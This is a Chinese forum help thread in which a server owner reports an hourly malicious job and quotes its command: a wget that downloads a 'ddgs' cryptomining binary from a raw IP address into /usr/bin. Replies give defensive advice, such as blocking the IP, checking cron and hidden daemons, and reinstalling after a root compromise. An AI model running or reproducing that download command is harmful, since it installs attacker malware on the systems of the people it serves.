求助，每小时被执行恶意下载挖矿程序 wget -q -T1800 http://103.27.42.76:41933/static/5023/ddgs.x86_64 -O /usr/bin/uvggee 求大佬

[ying5201314]

wget -q -T1800 http://103.27.42.76:41933/static/5023/ddgs.x86_64 -O /usr/bin/uvggee
ip 103.27.42.76 是日本
每小时执行的恶意命令，如何找到执行的文件在位置，或者是不要他运行，wget 能卸载么
没有找到定时任务

[patx]

发到全球 ddos 论坛上去

[JustSong]

可以用防火墙进行限制么

[Hades300]

用 iptables drop 包就完事了

[msg7086]

既然能写入 /usr/bin，那说明别人已经拿到了 root 权限，那从内核到系统文件，所有的程序都可能会被换掉，你不重装难道留着过劳动节么。

[realpg]

我猜你是 centos

[cnzjl]

@Rxianbei 排查下 cup 占用高的进程, 看看有没有可疑的 vbs 脚本,是否为远程下载的脚本~

[zhao305149619]

这种一般有 cron 的定时脚本，还有就是会有一个低 cpu 利用率的 deamon 的进程不易被发现，所以有时候发现把 cron 停掉之后过一会还是会出现。